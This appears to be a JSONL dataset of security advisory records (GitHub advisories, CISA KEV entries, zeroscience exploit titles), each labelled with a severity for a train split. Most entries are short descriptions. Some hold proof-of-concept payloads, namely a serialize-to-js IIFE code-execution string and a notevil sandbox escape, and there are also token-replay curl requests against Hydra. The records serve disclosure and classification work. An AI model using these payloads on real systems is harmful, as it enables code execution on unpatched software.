-{"id": "fb90dec6827e38a59f4a", "text": "Plone Denial of Service vulnerability\n\nPlone 4.1.3 and earlier computes hash values for form parameters without restricting the ability to trigger hash collisions predictably, which allows remote attackers to cause a denial of service (CPU consumption) by sending many crafted parameters.", "text_raw": "Plone Denial of Service vulnerability\n\n[Severity: HIGH]\n\nPlone 4.1.3 and earlier computes hash values for form parameters without restricting the ability to trigger hash collisions predictably, which allows remote attackers to cause a denial of service (CPU consumption) by sending many crafted parameters.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "d4bc4e2319937f24d455", "text": "Authentication Bypass in hapi-auth-jwt2\n\nVersions of `hapi-auth-jwt2` prior to version 5.1.2 are affected by a complete authentication bypass vulnerability when in the `try` authentication mode.\n\n## Recommendation\n\nUpdate to version 5.1.2 or later.", "text_raw": "Authentication Bypass in hapi-auth-jwt2\n\n[Severity: CRITICAL]\n\nVersions of `hapi-auth-jwt2` prior to version 5.1.2 are affected by a complete authentication bypass vulnerability when in the `try` authentication mode. \n\n\n## Recommendation\n\nUpdate to version 5.1.2 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "5bba4aac1180a04b6078", "text": "Malicious Package in appx-compiler\n\nAll versions of `appx-compiler` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in appx-compiler\n\n[Severity: CRITICAL]\n\nAll versions of `appx-compiler` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "b457034f81ad0d9f28b4", "text": "Trend Micro Apex One and OfficeScan Authentication Bypass Vulnerability\n\nAffected: Trend Micro Apex One and OfficeScan\n\nTrend Micro Apex One and OfficeScan server contain a vulnerable EXE file that could allow a remote attacker to write data to a path on affected installations and bypass root login.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Trend Micro Apex One and OfficeScan Authentication Bypass Vulnerability\n\nAffected: Trend Micro Apex One and OfficeScan\n\nTrend Micro Apex One and OfficeScan server contain a vulnerable EXE file that could allow a remote attacker to write data to a path on affected installations and bypass root login.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "b9a7f8b8c4aeeb90762b", "text": "Data races in lock_api\n\nAn issue was discovered in the lock_api crate before 0.4.2 for Rust. A data race can occur because of MappedRwLockWriteGuard unsoundness.", "text_raw": "Data races in lock_api\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the lock_api crate before 0.4.2 for Rust. A data race can occur because of MappedRwLockWriteGuard unsoundness.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "4eee7542c60b6ceccd1e", "text": "Vulnerability that affects org.springframework.ws:spring-ws and org.springframework.ws:spring-xml\n\nSpring Web Services, versions 2.4.3, 3.0.4, and older unsupported versions of all three projects, were susceptible to XML External Entity Injection (XXE) when receiving XML data from untrusted sources.", "text_raw": "Vulnerability that affects org.springframework.ws:spring-ws and org.springframework.ws:spring-xml\n\n[Severity: CRITICAL]\n\nSpring Web Services, versions 2.4.3, 3.0.4, and older unsupported versions of all three projects, were susceptible to XML External Entity Injection (XXE) when receiving XML data from untrusted sources.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-01-25", "split": "train"}
-{"id": "2cd0504a5ab61fd85494", "text": "Malicious users could abuse Sydent to control the content of invitation emails\n\n### Impact\n\nA malicious user could abuse Sydent to send out arbitrary emails from the Sydent email address. This could be used to construct plausible phishing emails, for example.\n\n### Patches\n\nFixed in 4469d1d, 6b405a8, 65a6e91.\n\nNote that these patches include changes to the *default* email templates. If these templates have been locally modified, they must also be updated.\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at security@matrix.org.", "text_raw": "Malicious users could abuse Sydent to control the content of invitation emails\n\n[Severity: MEDIUM]\n\n### Impact\n\nA malicious user could abuse Sydent to send out arbitrary emails from the Sydent email address. This could be used to construct plausible phishing emails, for example.\n\n### Patches\n\nFixed in 4469d1d, 6b405a8, 65a6e91.\n\nNote that these patches include changes to the *default* email templates. If these templates have been locally modified, they must also be updated.\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at security@matrix.org.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "9dd6713b9ce71260584f", "text": "Uncontrolled Resource Consumption in Apache Thrift\n\nIn Apache Thrift 0.9.3 to 0.13.0, malicious RPC clients could send short messages which would result in a large memory allocation, potentially leading to denial of service.", "text_raw": "Uncontrolled Resource Consumption in Apache Thrift\n\n[Severity: HIGH]\n\nIn Apache Thrift 0.9.3 to 0.13.0, malicious RPC clients could send short messages which would result in a large memory allocation, potentially leading to denial of service.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-12", "split": "train"}
-{"id": "677306fa306b09fd29ea", "text": "Altova DatabaseSpy 2011 Project File Handling Buffer Overflow Vulnerability", "text_raw": "Altova DatabaseSpy 2011 Project File Handling Buffer Overflow Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-10-22", "split": "train"}
-{"id": "5b27d33f2159627b8727", "text": "Microweber v1.0.3 Stored XSS And CSRF Add Admin Exploit", "text_raw": "Microweber v1.0.3 Stored XSS And CSRF Add Admin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-08-04", "split": "train"}
-{"id": "7819aa8d4c1fc191a63b", "text": "GNU Barcode 0.99 Buffer Overflow", "text_raw": "GNU Barcode 0.99 Buffer Overflow\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2018-05-29", "split": "train"}
-{"id": "6b44dac165b020b47e49", "text": "Directory traversal vulnerability in RubyZip\n\nThe `Zip::File` component in the rubyzip gem before 1.2.1 for Ruby has a directory traversal vulnerability. If a site allows uploading of .zip files, an attacker can upload a malicious file that uses `../` pathname substrings to write arbitrary files to the filesystem.", "text_raw": "Directory traversal vulnerability in RubyZip\n\n[Severity: CRITICAL]\n\nThe `Zip::File` component in the rubyzip gem before 1.2.1 for Ruby has a directory traversal vulnerability. If a site allows uploading of .zip files, an attacker can upload a malicious file that uses `../` pathname substrings to write arbitrary files to the filesystem.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "88d73d699c2a920b6e0c", "text": "FLIR Systems FLIR Thermal Camera PT-Series (PT-334 200562) Remote Root Exploit", "text_raw": "FLIR Systems FLIR Thermal Camera PT-Series (PT-334 200562) Remote Root Exploit\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2017-09-25", "split": "train"}
-{"id": "037a78c014af1e6c0e9c", "text": "Bootstrap Vulnerable to Cross-Site Scripting\n\nVersions of `bootstrap` prior to 3.4.1 for 3.x and 4.3.1 for 4.x are vulnerable to Cross-Site Scripting (XSS). The  `data-template` attribute of the tooltip and popover plugins lacks input sanitization and may allow attacker to execute arbitrary JavaScript.\n\n## Recommendation\n\nFor `bootstrap` 4.x upgrade to 4.3.1 or later.\nFor `bootstrap` 3.x upgrade to 3.4.1 or later.", "text_raw": "Bootstrap Vulnerable to Cross-Site Scripting\n\n[Severity: MEDIUM]\n\nVersions of `bootstrap` prior to 3.4.1 for 3.x and 4.3.1 for 4.x are vulnerable to Cross-Site Scripting (XSS). The  `data-template` attribute of the tooltip and popover plugins lacks input sanitization and may allow attacker to execute arbitrary JavaScript.\n\n\n## Recommendation\n\nFor `bootstrap` 4.x upgrade to 4.3.1 or later.\nFor `bootstrap` 3.x upgrade to 3.4.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-22", "split": "train"}
-{"id": "4ff131f8dcb7cff484e5", "text": "Cross-site scripting in Unicorn framework\n\nThe Unicorn framework through 0.35.3 for Django allows XSS via component.name.", "text_raw": "Cross-site scripting in Unicorn framework\n\n[Severity: MEDIUM]\n\nThe Unicorn framework through 0.35.3 for Django allows XSS via component.name.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "df1c90078bb84f933cf1", "text": "BSON rubygem contains potential denial of service\n\nThe `Moped::BSON::ObjecId.legal?` method in `mongodb/bson-ruby` before 3.0.4 as used in rubygem-moped allows remote attackers to cause a denial of service (worker resource consumption) via a crafted string. NOTE: This issue is due to an incomplete fix to CVE-2015-4410.", "text_raw": "BSON rubygem contains potential denial of service\n\n[Severity: HIGH]\n\nThe `Moped::BSON::ObjecId.legal?` method in `mongodb/bson-ruby` before 3.0.4 as used in rubygem-moped allows remote attackers to cause a denial of service (worker resource consumption) via a crafted string. NOTE: This issue is due to an incomplete fix to CVE-2015-4410.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-29", "split": "train"}
-{"id": "bae6a161b24f87a1065a", "text": "Code Execution Through IIFE in serialize-to-js\n\nAffected versions of `serialize-to-js` may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE).\n\n## Proof of Concept\n```js\nvar payload = \"{e: (function(){ eval('console.log(`exploited`)') })() }\"\nvar serialize = require('serialize-to-js');\nserialize.deserialize(payload);\n```\n\n## Recommendation\n\nUpdate to version 1.0.0, or later, and review [this disclaimer](https://www.npmjs.com/package/serialize-to-js#deserialize) from the author.", "text_raw": "Code Execution Through IIFE in serialize-to-js\n\n[Severity: CRITICAL]\n\nAffected versions of `serialize-to-js` may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE). \n\n## Proof of Concept\n```js\nvar payload = \"{e: (function(){ eval('console.log(`exploited`)') })() }\"\nvar serialize = require('serialize-to-js');\nserialize.deserialize(payload);\n```\n\n\n## Recommendation\n\nUpdate to version 1.0.0, or later, and review [this disclaimer](https://www.npmjs.com/package/serialize-to-js#deserialize) from the author.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-18", "split": "train"}
-{"id": "0fd1540427d028b3e074", "text": "github.com/tidwall/gjson Vulnerable to REDoS attack\n\nGJSON is a Go package that provides a fast and simple way to get values from a json document. GJSON before 1.9.3 allows a ReDoS (regular expression denial of service) attack.", "text_raw": "github.com/tidwall/gjson Vulnerable to REDoS attack\n\n[Severity: HIGH]\n\nGJSON is a Go package that provides a fast and simple way to get values from a json document. GJSON before 1.9.3 allows a ReDoS (regular expression denial of service) attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-25", "split": "train"}
-{"id": "d1654f3c443a2835f657", "text": "Epiri Professional Web Browser 3.0 Remote Crash Exploit", "text_raw": "Epiri Professional Web Browser 3.0 Remote Crash Exploit\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2009-07-30", "split": "train"}
-{"id": "1e0b0340d055c7ae926e", "text": "HashiCorp Vault Incorrect Permission Assignment for Critical Resource\n\nHashiCorp Vault and Vault Enterprise 0.11.0 up to 1.7.5 and 1.8.4 templated ACL policies would always match the first-created entity alias if multiple entity aliases exist for a specified entity and mount combination, potentially resulting in incorrect policy enforcement. Fixed in Vault and Vault Enterprise 1.7.6, 1.8.5, and 1.9.0.", "text_raw": "HashiCorp Vault Incorrect Permission Assignment for Critical Resource\n\n[Severity: CRITICAL]\n\nHashiCorp Vault and Vault Enterprise 0.11.0 up to 1.7.5 and 1.8.4 templated ACL policies would always match the first-created entity alias if multiple entity aliases exist for a specified entity and mount combination, potentially resulting in incorrect policy enforcement. Fixed in Vault and Vault Enterprise 1.7.6, 1.8.5, and 1.9.0.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-02", "split": "train"}
-{"id": "10ab077b5b47fc25c062", "text": "Misconfigured IP address field in ROA leads to OctoRPKI crash\n\nIf the ROA that a repository returns contains too many bits for the IP address then OctoRPKI will crash.\n\n## Patches\n\n## For more information\nIf you have any questions or comments about this advisory email us at security@cloudflare.com", "text_raw": "Misconfigured IP address field in ROA leads to OctoRPKI crash\n\n[Severity: MEDIUM]\n\nIf the ROA that a repository returns contains too many bits for the IP address then OctoRPKI will crash.\n\n## Patches\n\n## For more information\nIf you have any questions or comments about this advisory email us at security@cloudflare.com\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "61733a4f19d593112f44", "text": "Google Earth v5.1.3535.3218 (quserex.dll) DLL Hijacking Exploit", "text_raw": "Google Earth v5.1.3535.3218 (quserex.dll) DLL Hijacking Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-08-26", "split": "train"}
-{"id": "896971524f262e6ac046", "text": "actionpack Cross-site Scripting vulnerability\n\nThe sanitize helper in `lib/action_controller/vendor/html-scanner/html/sanitizer.rb` in the Action Pack component in Ruby on Rails before 2.3.18, 3.0.x and 3.1.x before 3.1.12, and 3.2.x before 3.2.13 does not properly handle encoded `:` (colon) characters in URLs, which makes it easier for remote attackers to conduct cross-site scripting (XSS) attacks via a crafted scheme name, as demonstrated by including a `&#x3a;` sequence.", "text_raw": "actionpack Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nThe sanitize helper in `lib/action_controller/vendor/html-scanner/html/sanitizer.rb` in the Action Pack component in Ruby on Rails before 2.3.18, 3.0.x and 3.1.x before 3.1.12, and 3.2.x before 3.2.13 does not properly handle encoded `:` (colon) characters in URLs, which makes it easier for remote attackers to conduct cross-site scripting (XSS) attacks via a crafted scheme name, as demonstrated by including a `&#x3a;` sequence.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "fc06a74143ad2bec0d78", "text": "qEngine CMS 6.0.0 (task.php) Local File Inclusion Vulnerability", "text_raw": "qEngine CMS 6.0.0 (task.php) Local File Inclusion Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-03-25", "split": "train"}
-{"id": "47215987a8a455f776af", "text": "Directory Traversal vulnerability in GET/PUT allows attackers to Disclose Information or Write Files via a crafted GET/PUT request\n\n### Impact\n\n#### Information Disclosure\n\nWhen the GET method is attacked, attackers can read files which have a `.data` suffix and which are accompanied by a JSON file with the `.meta` suffix. This can lead to Information Disclosure and in some shared-hosting scenarios also to circumvention of authentication or other limitations on the outbound (GET) traffic.\n\nFor example, in a scenario where a single server has multiple instances of the application running (with separate DATA_ROOT settings), an attacker who has knowledge about the directory structure is able to read files from any other instance to which the process has read access.\n\nIf instances have individual authentication (for example, HTTP authentication via a reverse proxy, source IP based filtering) or other restrictions (such as quotas), attackers may circumvent those limits in such a scenario by using the Directory Traversal to retrieve data from the other instances.\n\n#### File Write\n\nIf the associated XMPP server (or anyone knowing the SECRET_KEY) is malicious, they can write files outside the DATA_ROOT. The files which are written are constrained to have the `.meta` and the `.data` suffixes; the `.meta` file will contain the JSON with the Content-Type of the original request and the `.data` file will contain the payload.\n\n### Patches\n\nPR #12 fixes the issue. The PR has been merged into version 0.4.0 and 0.4.0 has been released and pushed to PyPI. Users are advised to upgrade immediately.\n\n### Workarounds\n\n- Apache can apparently be configured to filter such malicious paths when reverse-proxying. \n- There are no other workarounds known.\n\n### References\n\n- [Pull Request #12](https://github.com/horazont/xmpp-http-upload/pull/12)", "text_raw": "Directory Traversal vulnerability in GET/PUT allows attackers to Disclose Information or Write Files via a crafted GET/PUT request\n\n[Severity: LOW]\n\n### Impact\n\n#### Information Disclosure\n\nWhen the GET method is attacked, attackers can read files which have a `.data` suffix and which are accompanied by a JSON file with the `.meta` suffix. This can lead to Information Disclosure and in some shared-hosting scenarios also to circumvention of authentication or other limitations on the outbound (GET) traffic.\n\nFor example, in a scenario where a single server has multiple instances of the application running (with separate DATA_ROOT settings), an attacker who has knowledge about the directory structure is able to read files from any other instance to which the process has read access.\n\nIf instances have individual authentication (for example, HTTP authentication via a reverse proxy, source IP based filtering) or other restrictions (such as quotas), attackers may circumvent those limits in such a scenario by using the Directory Traversal to retrieve data from the other instances.\n\n#### File Write\n\nIf the associated XMPP server (or anyone knowing the SECRET_KEY) is malicious, they can write files outside the DATA_ROOT. The files which are written are constrained to have the `.meta` and the `.data` suffixes; the `.meta` file will contain the JSON with the Content-Type of the original request and the `.data` file will contain the payload.\n\n### Patches\n\nPR #12 fixes the issue. The PR has been merged into version 0.4.0 and 0.4.0 has been released and pushed to PyPI. Users are advised to upgrade immediately.\n\n### Workarounds\n\n- Apache can apparently be configured to filter such malicious paths when reverse-proxying. \n- There are no other workarounds known.\n\n### References\n\n- [Pull Request #12](https://github.com/horazont/xmpp-http-upload/pull/12)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-10-06", "split": "train"}
-{"id": "9ab1c5bb7c1b88b2fe9b", "text": "Microsoft Windows Kernel Information Disclosure Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Kernel contains an unspecified vulnerability that allows for information disclosure. Successful exploitation allows attackers to read the contents of kernel memory from a user-mode process.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-497\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Kernel Information Disclosure Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Kernel contains an unspecified vulnerability that allows for information disclosure. Successful exploitation allows attackers to read the contents of kernel memory from a user-mode process.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-497\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "57d1be9441541d70e621", "text": "Path Traversal in the Java Kubernetes Client\n\nKubernetes Java client libraries in version 10.0.0 and versions prior to 9.0.1 allow writes to paths outside of the current directory when copying multiple files from a remote pod which sends a maliciously crafted archive. This can potentially overwrite any files on the system of the process executing the client code.", "text_raw": "Path Traversal in the Java Kubernetes Client\n\n[Severity: HIGH]\n\nKubernetes Java client libraries in version 10.0.0 and versions prior to 9.0.1 allow writes to paths outside of the current directory when copying multiple files from a remote pod which sends a maliciously crafted archive. This can potentially overwrite any files on the system of the process executing the client code.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-29", "split": "train"}
-{"id": "c8a4bb420ee39cf78118", "text": "splunk-sdk does not properly verify untrusted TLS server certificates\n\nSplunk-SDK-Python before 1.6.6 does not properly verify untrusted TLS server certificates, which could result in man-in-the-middle attacks.", "text_raw": "splunk-sdk does not properly verify untrusted TLS server certificates\n\n[Severity: CRITICAL]\n\nSplunk-SDK-Python before 1.6.6 does not properly verify untrusted TLS server certificates, which could result in man-in-the-middle attacks.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-03-25", "split": "train"}
-{"id": "e04bed2d2a9e2ac76429", "text": "Hikvision Digital Video Recorder Cross-Site Request Forgery", "text_raw": "Hikvision Digital Video Recorder Cross-Site Request Forgery\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-04-08", "split": "train"}
-{"id": "a74acf2efd8fe469ae30", "text": "python-fedora vulnerable to an open redirect resulting in loss of CSRF protection\n\npython-fedora 0.8.0 and lower is vulnerable to an open redirect, resulting in loss of CSRF protection.", "text_raw": "python-fedora vulnerable to an open redirect resulting in loss of CSRF protection\n\n[Severity: MEDIUM]\n\npython-fedora 0.8.0 and lower is vulnerable to an open redirect, resulting in loss of CSRF protection.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-13", "split": "train"}
-{"id": "eb78afbc39ebe708df48", "text": "Flask-AppBuilder Open Redirect vulnerability\n\n### Impact\nIf using Flask-AppBuilder OAuth, an attacker can share a carefully crafted URL with a trusted domain for an application built with Flask-AppBuilder, this URL can redirect a user to a malicious site. This is an open redirect vulnerability\n\n### Patches\nInstall Flask-AppBuilder 3.2.2 or above\n\n### Workarounds\nFilter HTTP traffic containing `?next={next-site}` where the `next-site` domain is different from the application you are protecting", "text_raw": "Flask-AppBuilder Open Redirect vulnerability\n\n[Severity: MEDIUM]\n\n### Impact\nIf using Flask-AppBuilder OAuth, an attacker can share a carefully crafted URL with a trusted domain for an application built with Flask-AppBuilder, this URL can redirect a user to a malicious site. This is an open redirect vulnerability \n\n### Patches\nInstall Flask-AppBuilder 3.2.2 or above\n\n### Workarounds\nFilter HTTP traffic containing `?next={next-site}` where the `next-site` domain is different from the application you are protecting", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "4cf7855c8bc861b0d492", "text": "Sandbox Breakout / Arbitrary Code Execution in notevil\n\nVersions of `notevil` prior to 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to prevent access to the `Function` constructor by not checking the return values of function calls. This allows attackers to access the Function prototype's constructor leading to the Sandbox Escape. An example payload is:  \n```\nvar safeEval = require('notevil')\nvar input = \"\" + \n\"function fn() {};\" + \n\"var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;\" + \n\"var properties = Object.values(constructorProperty);\" + \n\"properties.pop();\" + \n\"properties.pop();\" + \n\"properties.pop();\" + \n\"var Function = properties.pop();\" + \n\"(Function('return this'))()\"; \nsafeEval(input)```\n\n## Recommendation\n\nUpgrade to version 1.3.2 or later.", "text_raw": "Sandbox Breakout / Arbitrary Code Execution in notevil\n\n[Severity: HIGH]\n\nVersions of `notevil` prior to 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to prevent access to the `Function` constructor by not checking the return values of function calls. This allows attackers to access the Function prototype's constructor leading to the Sandbox Escape. An example payload is:  \n```\nvar safeEval = require('notevil')\nvar input = \"\" + \n\"function fn() {};\" + \n\"var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;\" + \n\"var properties = Object.values(constructorProperty);\" + \n\"properties.pop();\" + \n\"properties.pop();\" + \n\"properties.pop();\" + \n\"var Function = properties.pop();\" + \n\"(Function('return this'))()\"; \nsafeEval(input)```\n\n\n## Recommendation\n\nUpgrade to version 1.3.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "5f47ea6532dff2098088", "text": "Token reuse in Ory fosite\n\n### Impact\n\nWhen using client authentication method \"private_key_jwt\" [[1]](https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication), OpenId specification says the following about assertion `jti`:\n\n> A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties\n\nHydra does not seem to check the uniqueness of this `jti` value. Here is me sending the same token request twice, hence with the same `jti` assertion, and getting two access tokens:\n\n```\n$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \\\n   --header 'Content-Type: application/x-www-form-urlencoded' \\\n   --data-urlencode 'grant_type=client_credentials' \\\n   --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \\\n   --data-urlencode 'scope=application openid' \\\n   --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \\\n   --data-urlencode 'client_assertion=eyJhb [...] jTw'\n{\"access_token\":\"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM\",\"expires_in\":3599,\"scope\":\"application openid\",\"token_type\":\"bearer\"}⏎\n$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \\\n   --header 'Content-Type: application/x-www-form-urlencoded' \\\n   --data-urlencode 'grant_type=client_credentials' \\\n   --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \\\n   --data-urlencode 'scope=application openid' \\\n   --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \\\n   --data-urlencode 'client_assertion=eyJhb [...] jTw'\n{\"access_token\":\"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4\",\"expires_in\":3599,\"scope\":\"application openid\",\"token_type\":\"bearer\"}\n```\n\n### Patches\n\nThis issue is patched in 0.31.0.\n\n### Workarounds\n\nDo not allow clients to use `private_key_jwt`.\n\n### References\n\nhttps://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication", "text_raw": "Token reuse in Ory fosite\n\n[Severity: HIGH]\n\n### Impact\n\nWhen using client authentication method \"private_key_jwt\" [[1]](https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication), OpenId specification says the following about assertion `jti`:\n\n> A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties\n\nHydra does not seem to check the uniqueness of this `jti` value. Here is me sending the same token request twice, hence with the same `jti` assertion, and getting two access tokens:\n\n```\n$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \\\n   --header 'Content-Type: application/x-www-form-urlencoded' \\\n   --data-urlencode 'grant_type=client_credentials' \\\n   --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \\\n   --data-urlencode 'scope=application openid' \\\n   --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \\\n   --data-urlencode 'client_assertion=eyJhb [...] jTw'\n{\"access_token\":\"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM\",\"expires_in\":3599,\"scope\":\"application openid\",\"token_type\":\"bearer\"}⏎\n$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \\\n   --header 'Content-Type: application/x-www-form-urlencoded' \\\n   --data-urlencode 'grant_type=client_credentials' \\\n   --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \\\n   --data-urlencode 'scope=application openid' \\\n   --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \\\n   --data-urlencode 'client_assertion=eyJhb [...] jTw'\n{\"access_token\":\"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4\",\"expires_in\":3599,\"scope\":\"application openid\",\"token_type\":\"bearer\"}\n```\n\n### Patches\n\nThis issue is patched in 0.31.0.\n\n### Workarounds\n\nDo not allow clients to use `private_key_jwt`.\n\n### References\n\nhttps://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "a5a5b0e91fb00eb4435c", "text": "Gesytec ElonFmt ActiveX 1.1.14 (ElonFmt.ocx) pid Item Buffer Overflow (SEH)", "text_raw": "Gesytec ElonFmt ActiveX 1.1.14 (ElonFmt.ocx) pid Item Buffer Overflow (SEH)\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-04-21", "split": "train"}
-{"id": "420a59a50caca424afa4", "text": "Authentication Bypass in tyk-identity-broker\n\nThe package github.com/tyktechnologies/tyk-identity-broker before 1.1.1 are vulnerable to Authentication Bypass via the Go XML parser which can cause SAML authentication bypass. This is because the XML parser doesn’t guarantee integrity in the XML round-trip (encoding/decoding XML data).", "text_raw": "Authentication Bypass in tyk-identity-broker\n\n[Severity: CRITICAL]\n\nThe package github.com/tyktechnologies/tyk-identity-broker before 1.1.1 are vulnerable to Authentication Bypass via the Go XML parser which can cause SAML authentication bypass. This is because the XML parser doesn’t guarantee integrity in the XML round-trip (encoding/decoding XML data).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "45f1a5bd6baa1a673837", "text": "Improper Access Control in Lightning Network Daemon\n\nLightning Network Daemon (lnd) before 0.7 allows attackers to trigger loss of funds because of Incorrect Access Control.", "text_raw": "Improper Access Control in Lightning Network Daemon\n\n[Severity: HIGH]\n\nLightning Network Daemon (lnd) before 0.7 allows attackers to trigger loss of funds because of Incorrect Access Control.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
